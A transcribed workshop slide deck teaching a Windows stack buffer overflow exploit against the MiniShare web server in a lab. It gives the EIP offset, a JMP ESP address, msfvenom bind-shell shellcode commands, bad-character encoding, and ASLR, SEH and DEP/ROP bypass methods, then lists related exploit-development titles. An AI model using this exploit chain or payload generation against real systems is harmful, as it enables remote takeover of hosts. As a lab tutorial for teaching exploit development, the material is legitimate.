Writing your first windows exploit in less than one hour
|
|
|
- Cory Porter
- 6 years ago
- Views:
Transcription
1 Writing your first windows exploit in less than one hour Klaus Gebeshuber
2 AGENDA Workshop Memory & stack basics, function calling Prepare LAB infrastructure Write your first windows exploit Exploit mitigation + bypassing
3 Memory, stack and function calling
4 Memory basics Code segment: Data segment: Heap: Stack segment: Instructions Global, static variables Dynamic memory (malloc/free) Local variables Function arguments/data 4
5 Stack operations Start: Highest memory address (=bottom of stack), grows down in memory Access: Stack Pointer (E)SP (Points on top of stack = lowest memory address) PUSH: POP: Adds something on top of the stack Removes one item (4 Bytes) from stack into a register 5
6 Stack operations PUSH ESP = ESP 1 x 4 Bytes ESP Stack ITEM 1 ITEM 2 PUSH PUSH ESP = ESP 3 ITEM 3 PUSH POP ESP = ESP + 1 x 4 Bytes Stack ESP = ESP +2 ITEM 1 4 Byte (register width 32bit) ESP ITEM 2 ITEM 3 POP POP 6
7 Function/Subroutine call Astackframeiscreated Parameters of parent function are stored Parameters to pass to the function are stored EBP Base or frame pointer = current base of the function ESP Stack pointer = current location of the stack 7
8 Function call - details void func_1 (char *Buf) { int MyLocalVar1; char MyLocalVar2[50]; strcpy(mylocalvar2,buf); }.DATADATADATDATA int main (int argc, char **argv) { func_1(argv[1]); } 8
9 Function call - details Calling func_1(): - A newstack frame is created - ESP pointstotop of the stack Higher Address ESP Stack New Stack Frame 9
10 Function call - details Calling func_1(): - Functionarguments are Higher Address Stack ESP ARGV[1] Current EIP ESP pushed to the stack (ptr_argv[1]) - CurrentEIP ispushedto the stack = Saved EIP - Jump tofunction code 10
11 Function call - details Calling func_1(): Higher Address ESP Stack ARGV[1] Saved EIP Saved EBP - Executionof function prologue: - Save EBP onto the stack (PUSH EBP) - MOV EBP, ESP
12 Function call - details Calling func_1(): - 4 Byte for(int) MyLocalVar1 is allocated on the stack - ESP = ESP 4-50 Bytes for(char) MyLocalVar2 is allocated on the stack - ESP = ESP -50 Higher Address ESP ESP Stack ARGV[1] Saved EIP Saved EBP MyLocalVar1 MyLocalVar2 12
13 Function call - details strcpy(mylocalvar2,buf); - Copiesbytesuntilit reaches a string termination byte (\x00) Higher Address ESP Stack ARGV[1] Saved EIP Saved EBP MyLocalVar1 MyLocalVar2 AAAAAAAAA. 13
14 Function call - details strcpy(mylocalvar2,buf); - First: strcpyoverwrites MyLocalVar1 Higher Address Stack ARGV[1] Saved EIP Saved EBP MyLocalVar1 MyLocalVar2 ESP AAAAAAAAA. 14
![. Higher Address Stack ARGV[1] Saved EIP Saved EBP MyLocalVar1 ESP](/docs-images/76/73053210/images/15-3.jpg "MyLocalVar2 AAAAAAAAA. AAAAAAAAA. https://www.corelan.be/index.")
15 Function call - details strcpy(mylocalvar2,buf); - strcpyoverwrites SavedEBP, SavedEIP,.. Higher Address Stack ARGV[1] Saved EIP Saved EBP MyLocalVar1 ESP MyLocalVar2 AAAAAAAAA. AAAAAAAAA. 15
16 Function call - details After strcpy() Higher Address My Code Stack Function epilogue is executed 1.) ESP is relocated to the location where EIP is stored 2.) RET (=Jump to savedeip)! Exploit structure [LocalVar2][LocalVar1][savedEBP][savedEIP][ My code ]! ESP points to My code after RET! We need to overwrite EIP 3.) ESP 1.) ESP 2.) RET ARGV[1] Saved EIP Saved EBP MyLocalVar1 MyLocalVar2 AAAAAAAAA. AAAAAAAAA. 16
17 Prepare LAB infrastructure
18 Used tools and programs OllyDbg Minishare WEB-Server Immunity Debugger
19 Prepare LAB environment Start MiniShare Unblock MiniShare in Windows Firewall
20 Prepare LAB environment Drag & Drop putty.exe into MiniShare
21 Prepare LAB environment Access your MiniShare Server from KALI Setup completed
22 Prepare LAB environment Enable SSH-Daemon: /etc/init.d/sshd start Connect via PUTTY from WIN-XP grep Root /etc/ssh/sshd_config PermitRootLogin without-password " yes
23 Writing your first windows exploit in less than one hour 59:59 left
24 Start Minishare
25 Do a port scan root@kali:~# nmap -n sv Starting Nmap 6.49BETA4 ( ) at :03 EDT Nmap scan report for Host is up ( s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http MiniShare http interface MAC Address: 00:0C:29:8B:12:35 (VMware) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrectresultsat Nmap done: 1 IP address (1 host up) scanned in seconds
26 Try to crash Minishare
27 Preparation Start Minishare server Start OllyDbg / Immunity Debugger Start Filter: http
28 Attach Olly to minishare File/Attach
29 Run application
30 Using a HTTP fuzzer to trigger the crash KALI-2: /usr/bin/bed
31 Start fuzzing " using bed
32 Fuzzer crashes minishare
33 Look for the crash packet
34 Look for the crash packet
35 Look for the crash packet
36 Copy data
37 Save to file " Kali
38 Try to crash with our own script
39 Try to crash with our own script
40 EIP is overwritten by Try to find the exact location
41 Create a unique string to find the exact position of EIP KALI-2: /usr/share/metasploit-framework/tools/pattern_create.rb
42 Use the unique string in our exploit script
43 Send the unique string
44 Application crashes again
45 At which offset is EIP?? ( " h5ch )
46 At which offset is EIP?? ( " 6hC5 " 5Ch6 KALI-2: /usr/share/metasploit-framework/tools/pattern_offset.rb
47 Modify exploit code buf = "\x41"* "\x42"*4 + "\x43"*500
48 Modify exploit code <1786*A> <4*B> <500*C>
49 Our register situation after the crash: ESP " (ptr) CCCCCCC EIP = BBBB
![Evil buffer layout [EIP] (Instruction Pointer, points to the next executed instruction ) [ESP] (Stack Pointer, points to this memory location CCCCCC-Block) AAAAAA (1786) BBBB CCCC (500) [EIP] [ESP]](/docs-images/76/73053210/images/50-2.jpg "We want to execute code (shellcode), we can put the code into the AAAAA-Block (1786 Bytes) or the CCCCC-Block (500 bytes ormore) But, we don t know the address of the begining of the AAAAA or CCCCC")
50 Evil buffer layout [EIP] (Instruction Pointer, points to the next executed instruction ) [ESP] (Stack Pointer, points to this memory location CCCCCC-Block) AAAAAA (1786) BBBB CCCC (500) [EIP] [ESP] We want to execute code (shellcode), we can put the code into the AAAAA-Block (1786 Bytes) or the CCCCC-Block (500 bytes ormore) But, we don t know the address of the begining of the AAAAA or CCCCC Block. ESP points to this address.. Hmm?
51 Evil buffer layout AAAAAA (1786) BBBB CCCC (500) [EIP] [ESP] Windows loads system DLLs on specific memory addresses. For example: user32.dll If we can find the address of a [JMP ESP] instruction, we can overwrite EIP with this address. AAAAAA (1786) abcd CCCC (500) 1 2 [ESP] USER32.dll abcd:jmp ESP
![Search for [JMP ESP] in user32.](/docs-images/76/73053210/images/52-2.jpg "dll View \" Executable modules \"")
52 Search for [JMP ESP] in user32.dll View " Executable modules " user32.dll
![Search for [JMP ESP] in user32.](/docs-images/76/73053210/images/53-2.jpg "dll Ctrl-F (find) \" jmp esp \"")
53 Search for [JMP ESP] in user32.dll Ctrl-F (find) " jmp esp " 0x77D5AF0A
54 Replace BBBB with the JMP ESP Addr 0x77D5AF0A (BigEndian/LittleEndian " 0AAFD577
55 Set a breakpoint (F2) and press run in Olly
56 Run our exploit " Breakpoint hit
57 Execute the next instruction F7
58 Create our shellcode /usr/share/metasploit-framework/./msfpayload windows/shell_bind_tcp C
59 Shellcode has 328 bytes " OK Bindshell on port 7777 ############################################################## #msfvenom -p windows/shell_bind_tcp LPORT=7777 -f python #No platform was selected, choosing Msf::Module::Platform::Windows from the payload #No Arch selected, selecting Arch: x86 from the payload #No encoder or badchars specified, outputting raw payload #Payload size: 328 bytes ##############################################################
60 Place shellcode in our exploit script
61 Execute our exploit "$
62 Analyze: Set breakpoint " F7 Shellcode is executed, but???
63 Analyze: Shellcode is executed, but only few bytes of the shellcode are in memory
64 Analyze:! Check for bad characters "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x1 1\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x2 3\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x3 5\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x4 7\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x5 9\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6 b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7 d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8 f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1 \xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\x b4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc 6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\ xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\x eb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\ xff"
65 Analyze:! Check for bad characters "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x1 1\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x2 3\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x3 5\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x4 7\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x5 9\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6 b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7 d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8 f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1 \xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\x b4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc 6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\ xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\x eb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\ xff"
66 Analyze: Shellcode is executed, but only few bytes of the shellcode are in memory! Check for bad characters: 00, 0d,
67 Encode the shellcode to bypass bad characters /usr/share/metasploit-framework/./msfpayload windows/shell_bind_tcp R./msfencode b \x00\x0d e x86/shikata_ga_nai
68 Execute the encoded shellcode $$$ hm???
69 Encoded shellcode needs some space for decoding before executing " Insert some NOPs (10) before
70 Try again " w00t
71 Exploit mitigation & bypassing
72 ASLR Adress Space Layout Randomization Enabled on Windows since VISTA Before reboot JMP ESP: 0x768afcdb After reboot JMP ESP: 0x769dfcdb 72
73 ASLR Bypass Search for non ASLR code Search for JMP ESP command in the program itself or in libraries or program parts which have ASLR disabled. Partial EIP overwrite Sometime you can overwrite just the stable (unchanged) part of EIP Before reboot JMP ESP: 0x768afcdb After reboot JMP ESP: 0x769dfcdb 73
74 ASLR Bypass NOP sled Fill your memory with a lot of NOPs (99%) following by the shellcode (1%) to increase the chance to land with a wrong/inaccurate address in the NOP sled. CAIN: Silently Breaking ASLR in the Cloud (Blackhat Europe 2015) Use memory deduplication feature of Virtual Machine Monitors to calculate adresses of system DLLs from neighbour virtual machines 74
75 Stack cookies/canaries Function prologue places a random number (canary) just before the return pointer on the stack Before RET is executed " is canary still alive? OK Attack 75
76 Stack cookies/canaries bypass Function epilogue raises an exception If you can overwrite the exception handler structure " SEH (Structured Exception Handling) Exploit 1. Exception occurs 5. Jump to NOP sled 2. SE Handler is called JUNK PTR to Next SEH PTR to Handler NOPS SHELLCODE JMP some bytes 4. Execute JMP Code!! 3. PTR POP POP RET 76
77 DEP (Data Execution Prevention) Stack and Heap are protected against code execution. Shellcode can t be located in stack area AAAAAA (1787) abcd CCCC (500) 1 USER32.dll abcd:jmp ESP DEP can be disabled for a process using a Windows API call! How can we call the API when code execution is blocked? Use code fragments in executable areas and use the stack for chaining them together 2 [ESP]
78 DISABLE DEP VirtualAlloc 78
79 DEP (Data Execution Prevention) What happens when a RET instruction is executed?? Program flow Stack Addr 1 Instruction A EIP CMD 1 Addr 2 Instruction B Addr X ESP Addr 3 RET CMD 1 ESP Addr X Instruction H Instruction I EIP
80 Start with a RETURN ESP ESP ESP ESP ESP JUNK EIP S1 S2 S3 S4 RET RET RET RET RET EIP EIP EIP EIP EIP ESP is just incremented RETURN ist the ROP-NOP (ROP No Operation) 80
81 Execute a ROP Gadget ESP ESP ESP ESP JUNK EIP Gadget1 Gadget2 Gadget3 Gadget4 RET CMD 1 EIP CMD 1 EIP CMD 1 CMD 2 EIP CMD 2 EIP CMD 2 EIP CMD 3 EIP CMD 3 EIP RET RET EIP RET EIP ROP Gadget 1 ROP Gadget 2 ROP Gadget 3 81
82 Load a Register ESP ESP ESP ESP JUNK EIP Gadget Gadget2 RET POP EAX EAX=4711 EIP EIP RET EIP EIP EIP RET ROP Gadget 1 ROP Gadget 2 EIP 82
83 ROP Gadgets are often not perfect ESP ESP ESP ESP ESP ESP JUNK EIP Gadget FILLER FILLER Gadget2 RET POP EAX EAX=4711 EIP EIP POP XYZ EIP EIP EIP POP ABC RET ROP Gadget 1 EIP EIP EIP RET ROP Gadget 2 83
84 DEP-Bypass Exploit Structure JUNK EIP ROP-CHAIN TO DISABLE DEP SHELLCODE RET CMD CMD CMD CMD CMD CMD CMD CMD CMD CMD CMD CMD RET CMD CMD CMD RET RET CMD RET RET 84
85 Wrote your first windows exploit in less than one hour Thank you!
Writing Exploits. Nethemba s.r.o.
Writing Exploits Nethemba s.r.o. norbert.szetei@nethemba.com Motivation Basic code injection W^X (DEP), ASLR, Canary (Armoring) Return Oriented Programming (ROP) Tools of the Trade Metasploit A Brief History
Exploiting Stack Buffer Overflows Learning how blackhats smash the stack for fun and profit so we can prevent it
Exploiting Stack Buffer Overflows Learning how blackhats smash the stack for fun and profit so we can prevent it 29.11.2012 Secure Software Engineering Andreas Follner 1 Andreas Follner Graduated earlier
Advanced Buffer Overflow
Pattern Recognition and Applications Lab Advanced Buffer Overflow Ing. Davide Maiorca, Ph.D. davide.maiorca@diee.unica.it Computer Security A.Y. 2016/2017 Department of Electrical and Electronic Engineering
WRITING YOUR FIRST EXPLOIT LECTURE NOTES
WRITING YOUR FIRST EXPLOIT LECTURE NOTES Robert Olson Lecturer Dept. of Computing & Info Sciences SUNY at Fredonia olsonr@fredonia.edu @nerdprof https://github.com/nerdprof/writing-your-first-exploit 1.
Bypassing DEP with WPM & ROP Case Study : Audio Converter by D.R Software Exploit and Document by Sud0 sud0.x90 [ at ] gmail.com sud0 [at] corelan.
![Bypassing DEP with WPM & ROP Case Study : Audio Converter by D.R Software Exploit and Document by Sud0 sud0.x90 [ at ] gmail.com sud0 [at] corelan.](/thumbs/92/109415801.jpg "Bypassing DEP with WPM & ROP Case Study : Audio Converter by D.R Software Exploit and Document by Sud0 sud0.x90 [ at ] gmail.com sud0 [at] corelan.")
Bypassing DEP with WPM & ROP Case Study : Audio Converter by D.R Software Exploit and Document by Sud0 sud0.x90 [ at ] gmail.com sud0 [at] corelan.be (May 2010) Introduction : For this first tutorial,
Security Workshop HTS. LSE Team. February 3rd, 2016 EPITA / 40
Security Workshop HTS LSE Team EPITA 2018 February 3rd, 2016 1 / 40 Introduction What is this talk about? Presentation of some basic memory corruption bugs Presentation of some simple protections Writing
Advanced Buffer Overflow
Pattern Recognition and Applications Lab Advanced Buffer Overflow Ing. Davide Maiorca, Ph.D. davide.maiorca@diee.unica.it Computer Security A.Y. 2017/2018 Department of Electrical and Electronic Engineering
CNIT 127: Exploit Development. Ch 1: Before you begin. Updated
CNIT 127: Exploit Development Ch 1: Before you begin Updated 1-14-16 Basic Concepts Vulnerability A flaw in a system that allows an attacker to do something the designer did not intend, such as Denial
Applications. Cloud. See voting example (DC Internet voting pilot) Select * from userinfo WHERE id = %%% (variable)
Software Security Requirements General Methodologies Hardware Firmware Software Protocols Procedure s Applications OS Cloud Attack Trees is one of the inside requirement 1. Attacks 2. Evaluation 3. Mitigation
Beyond Stack Smashing: Recent Advances in Exploiting. Jonathan Pincus(MSR) and Brandon Baker (MS)
Beyond Stack Smashing: Recent Advances in Exploiting Buffer Overruns Jonathan Pincus(MSR) and Brandon Baker (MS) Buffer Overflows and How they Occur Buffer is a contiguous segment of memory of a fixed
Smashing the Buffer. Miroslav Štampar
Smashing the Buffer Miroslav Štampar (mstampar@zsis.hr) Summary BSidesVienna 2014, Vienna (Austria) November 22nd, 2014 2 Buffer overflow (a.k.a.) Buffer overrun An anomaly where a program, while writing
CS 161 Computer Security
Paxson Spring 2017 CS 161 Computer Security Discussion 2 Question 1 Software Vulnerabilities (15 min) For the following code, assume an attacker can control the value of basket passed into eval basket.
Practical Malware Analysis
Practical Malware Analysis Ch 4: A Crash Course in x86 Disassembly Revised 1-16-7 Basic Techniques Basic static analysis Looks at malware from the outside Basic dynamic analysis Only shows you how the
Università Ca Foscari Venezia
Stack Overflow Security 1 2018-19 Università Ca Foscari Venezia www.dais.unive.it/~focardi secgroup.dais.unive.it Introduction Buffer overflow is due to careless programming in unsafe languages like C
Lecture 08 Control-flow Hijacking Defenses
Lecture 08 Control-flow Hijacking Defenses Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Slides adapted from Miller, Bailey, and Brumley Control Flow Hijack: Always control + computation
INTRODUCTION TO EXPLOIT DEVELOPMENT
INTRODUCTION TO EXPLOIT DEVELOPMENT Nathan Ritchey and Michael Tucker Who Am I (Nathan Ritchey) Have Bachelors in Computer Science Member of CSG Working on Masters with focus on Information Assurance Some
Remote Buffer Overflow Exploits
We work in the dark we do what we can we give what we have. Our doubt is our passion and our passion is our task. The rest is the madness of art. Henry James 2010 Remote Buffer Overflow Exploits 2010 DZZ
Offensive Security My First Buffer Overflow: Tutorial
Offensive Security My First Buffer Overflow: Tutorial César Bernardini University of Trento cesar.bernardini@unitn.it October 12, 2015 2 Cesar Bernardini Postdoctoral Fellow at UNITN PhD Student at INRIA-LORIA
Title: SEH Overwrites Simplified. Date: October 29 th Author: Aelphaeis Mangarae
Aelphaeis Mangarae [adm1n1strat10n AT hotmail DOT com] [IRC.SecurityChat.Org #BHF] http://blackhat-forums.com Title: SEH Overwrites Simplified Date: October 29 th 2007 Author: Aelphaeis Mangarae Table
Betriebssysteme und Sicherheit Sicherheit. Buffer Overflows
Betriebssysteme und Sicherheit Sicherheit Buffer Overflows Software Vulnerabilities Implementation error Input validation Attacker-supplied input can lead to Corruption Code execution... Even remote exploitation
Lecture 09 Code reuse attacks. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017
Lecture 09 Code reuse attacks Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Last time No good reason for stack/heap/static data to be executable No good reason for code to be writable
Return-orientated Programming
Return-orientated Programming or The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) Hovav Shacham, CCS '07 Return-Oriented oriented Programming programming
CSC 591 Systems Attacks and Defenses Stack Canaries & ASLR
CSC 591 Systems Attacks and Defenses Stack Canaries & ASLR Alexandros Kapravelos akaprav@ncsu.edu How can we prevent a buffer overflow? Check bounds Programmer Language Stack canaries [...more ] Buffer
INFORMATION SECURITY - PRACTICAL ASSESSMENT - BASICS IN BUFFER EXPLOITATION
INFORMATION SECURITY - PRACTICAL ASSESSMENT - BASICS IN BUFFER EXPLOITATION GRENOBLE INP ENSIMAG http://www.ensimag.fr COMPUTER SCIENCE 3RD YEAR IF-MMIS - 1ST SEMESTER, 2011 Lecturers: Fabien Duchene -
18-600: Recitation #4 Exploits
18-600: Recitation #4 Exploits 20th September 2016 Agenda More x86-64 assembly Buffer Overflow Attack Return Oriented Programming Attack 3 Recap: x86-64: Register Conventions Arguments passed in registers:
CSE 127: Computer Security Control Flow Hijacking. Kirill Levchenko
CSE 127: Computer Security Control Flow Hijacking Kirill Levchenko October 17, 2017 Control Flow Hijacking Defenses Avoid unsafe functions Stack canary Separate control stack Address Space Layout Randomization
18-600: Recitation #4 Exploits (Attack Lab)
18-600: Recitation #4 Exploits (Attack Lab) September 19th, 2017 Announcements Some students have triggered the bomb multiple times Use breakpoints for explode_bomb() Attack lab will be released on Sep.
CNIT 127: Exploit Development. Ch 14: Protection Mechanisms. Updated
CNIT 127: Exploit Development Ch 14: Protection Mechanisms Updated 3-25-17 Topics Non-Executable Stack W^X (Either Writable or Executable Memory) Stack Data Protection Canaries Ideal Stack Layout AAAS:
From Over ow to Shell
From Over ow to Shell An Introduction to low-level exploitation Carl Svensson @ Google, December 2018 1 / 25 Biography MSc in Computer Science, KTH Head of Security, KRY/LIVI CTF: HackingForSoju E-mail:
Advanced Security for Systems Engineering VO 05: Advanced Attacks on Applications 2
Advanced Security for Systems Engineering VO 05: Advanced Attacks on Applications 2 Clemens Hlauschek, Christian Schanes INSO Industrial Software Institute of Information Systems Engineering Faculty of
Software Security II: Memory Errors - Attacks & Defenses
1 Software Security II: Memory Errors - Attacks & Defenses Chengyu Song Slides modified from Dawn Song 2 Administrivia Lab1 Writeup 3 Buffer overflow Out-of-bound memory writes (mostly sequential) Allow
CS 161 Computer Security. Week of January 22, 2018: GDB and x86 assembly
Raluca Popa Spring 2018 CS 161 Computer Security Discussion 1 Week of January 22, 2018: GDB and x86 assembly Objective: Studying memory vulnerabilities requires being able to read assembly and step through
Biography. Background
From Over ow to Shell An Introduction to low-level exploitation Carl Svensson @ KTH, January 2019 1 / 28 Biography MSc in Computer Science, KTH Head of Security, KRY/LIVI CTF: HackingForSoju E-mail: calle.svensson@zeta-two.com
Defeat Exploit Mitigation Heap Attacks. compass-security.com 1
Defeat Exploit Mitigation Heap Attacks compass-security.com 1 ASCII Armor Arbitrary Write Overflow Local Vars Exploit Mitigations Stack Canary ASLR PIE Heap Overflows Brute Force Partial RIP Overwrite
CSE 509: Computer Security
CSE 509: Computer Security Date: 2.16.2009 BUFFER OVERFLOWS: input data Server running a daemon Attacker Code The attacker sends data to the daemon process running at the server side and could thus trigger
CSC 405 Computer Security Stack Canaries & ASLR
CSC 405 Computer Security Stack Canaries & ASLR Alexandros Kapravelos akaprav@ncsu.edu How can we prevent a buffer overflow? Check bounds Programmer Language Stack canaries [...more ] Buffer overflow defenses
Shellcode Analysis. Chapter 19
Shellcode Analysis Chapter 19 What is Shellcode Shellcode a payload of raw executable code, attackers use this code to obtain interactive shell access. A binary chunk of data Can be generally referred
20: Exploits and Containment
20: Exploits and Containment Mark Handley Andrea Bittau What is an exploit? Programs contain bugs. These bugs could have security implications (vulnerabilities) An exploit is a tool which exploits a vulnerability
Buffer Underruns, DEP, ASLR and improving the Exploitation Prevention Mechanisms (XPMs) on the Windows platform
Buffer Underruns, DEP, ASLR and improving the Exploitation Prevention Mechanisms (XPMs) on the Windows platform David Litchfield [davidl@ngssoftware.com] 30 th September 2005 An NGSSoftware Insight Security
buffer overflow exploitation
buffer overflow exploitation Samuele Andreoli, Nicolò Fornari, Giuseppe Vitto May 11, 2016 University of Trento Introduction 1 introduction A Buffer Overflow is an anomaly where a program, while writing
Exploit Development. License. Contents. General notes about the labs. General notes about the labs. Preparation. Introduction to exploit development
Exploit Development License This work by Z. Cliffe Schreuders at Leeds Metropolitan University is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License. All included software source
CSC 591 Systems Attacks and Defenses Return-into-libc & ROP
CSC 591 Systems Attacks and Defenses Return-into-libc & ROP Alexandros Kapravelos akaprav@ncsu.edu NOEXEC (W^X) 0xFFFFFF Stack Heap BSS Data 0x000000 Code RW RX Deployment Linux (via PaX patches) OpenBSD
On The Effectiveness of Address-Space Randomization. H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D. Boneh Stanford University CCS 2004
On The Effectiveness of Address-Space Randomization H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D. Boneh Stanford University CCS 2004 Code-Injection Attacks Inject malicious executable code
Function Call Convention
Function Call Convention Compass Security Schweiz AG Werkstrasse 20 Postfach 2038 CH-8645 Jona Tel +41 55 214 41 60 Fax +41 55 214 41 61 team@csnc.ch www.csnc.ch Content Intel Architecture Memory Layout
Buffer Overflows Defending against arbitrary code insertion and execution
www.harmonysecurity.com info@harmonysecurity.com Buffer Overflows Defending against arbitrary code insertion and execution By Stephen Fewer Contents 1 Introduction 2 1.1 Where does the problem lie? 2 1.1.1
CS 161 Computer Security
Paxson Spring 2011 CS 161 Computer Security Discussion 1 January 26, 2011 Question 1 Buffer Overflow Mitigations Buffer overflow mitigations generally fall into two categories: (i) eliminating the cause
2 Sadeghi, Davi TU Darmstadt 2012 Secure, Trusted, and Trustworthy Computing Chapter 6: Runtime Attacks
Runtime attacks are major threats to today's applications Control-flow of an application is compromised at runtime Typically, runtime attacks include injection of malicious code Reasons for runtime attacks
Memory corruption vulnerability exposure can be mitigated through memory hardening practices
Memory corruption vulnerability exposure can be mitigated through memory hardening practices OS vendors have a unique opportunity to fight memory corruption vulnerabilities through hardening the memory
Introduction to Reverse Engineering. Alan Padilla, Ricardo Alanis, Stephen Ballenger, Luke Castro, Jake Rawlins
Introduction to Reverse Engineering Alan Padilla, Ricardo Alanis, Stephen Ballenger, Luke Castro, Jake Rawlins Reverse Engineering (of Software) What is it? What is it for? Binary exploitation (the cool
CNIT 127: Exploit Development. Ch 2: Stack Overflows in Linux
CNIT 127: Exploit Development Ch 2: Stack Overflows in Linux Stack-based Buffer Overflows Most popular and best understood exploitation method Aleph One's "Smashing the Stack for Fun and Profit" (1996)
CPSC 213. Introduction to Computer Systems. Procedures and the Stack. Unit 1e
CPSC 213 Introduction to Computer Systems Unit 1e Procedures and the Stack 1 Readings for Next 3 Lectures Textbook Procedures - 3.7 Out-of-Bounds Memory References and Buffer Overflow - 3.12 2 Local Variables
Is Exploitation Over? Bypassing Memory Protections in Windows 7
Is Exploitation Over? Bypassing Memory Protections in Windows 7 Alexander Sotirov alex@sotirov.net About me Exploit development since 1999 Published research into reliable exploitation techniques: Heap
=> What's Stack Overflow? stack gets overflowed when too much memory is used for stack calling, resulting app crash, and this crash can be used!
# Stack Overflow Exploitation, # # Real Life Example # Author : Darkb0x Home : http://nullarea.net Contact: Darkb0x97@googlemail.com --= Summary =-- 0x000 - NULL 0x001 - Introduction 0x010 - Finding The
Basic Buffer Overflows
Operating Systems Security Basic Buffer Overflows (Stack Smashing) Computer Security & OS lab. Cho, Seong-je ( 조성제 ) Fall, 2018 sjcho at dankook.ac.kr Chapter 10 Buffer Overflow 2 Contents Virtual Memory
Apology of 0days. Nicolás Waisman
Apology of 0days Nicolás Waisman Who Am I? Senior Security Researcher and Regional Manager at Immunity, Inc. Research and Development of reliable Heap Overflow exploitation for CANVAS attack framework
BUFFER OVERFLOW DEFENSES & COUNTERMEASURES
BUFFER OVERFLOW DEFENSES & COUNTERMEASURES CMSC 414 FEB 01 2018 RECALL OUR CHALLENGES How can we make these even more difficult? Putting code into the memory (no zeroes) Finding the return address (guess
Q: Exploit Hardening Made Easy
Q: Exploit Hardening Made Easy E.J. Schwartz, T. Avgerinos, and D. Brumley. In Proc. USENIX Security Symposium, 2011. CS 6301-002: Language-based Security Dr. Kevin Hamlen Attacker s Dilemma Problem Scenario
Exploit Mitigation - PIE
Exploit Mitigation - PIE Compass Security Schweiz AG Werkstrasse 20 Postfach 2038 CH-8645 Jona Tel +41 55 214 41 60 Fax +41 55 214 41 61 team@csnc.ch www.csnc.ch ASCII Armor Arbitrary Write Overflow Local
CMPSC 497 Buffer Overflow Vulnerabilities
Systems and Internet Infrastructure Security Network and Security Research Center Department of Computer Science and Engineering Pennsylvania State University, University Park PA CMPSC 497 Buffer Overflow
Countermeasures in Modern Operating Systems. Yves Younan, Vulnerability Research Team (VRT)
Countermeasures in Modern Operating Systems Yves Younan, Vulnerability Research Team (VRT) Introduction Programs in C/C++: memory error vulnerabilities Countermeasures (mitigations): make exploitation
This time. Defenses and other memory safety vulnerabilities. Everything you ve always wanted to know about gdb but were too afraid to ask
This time We will continue Buffer overflows By looking at Overflow Defenses and other memory safety vulnerabilities Everything you ve always wanted to know about gdb but were too afraid to ask Overflow
Hacking Blind. Andrea Bittau, Adam Belay, Ali Mashtizadeh, David Mazières, Dan Boneh. Stanford University
Hacking Blind Andrea Bittau, Adam Belay, Ali Mashtizadeh, David Mazières, Dan Boneh Stanford University Hacking 101 Exploit GET /0xDEAD HTTP/1.0 shell $ cat /etc/passwd root:x:0:0:::/bin/sh sorbo:x:6:9:pac:/bin/sh
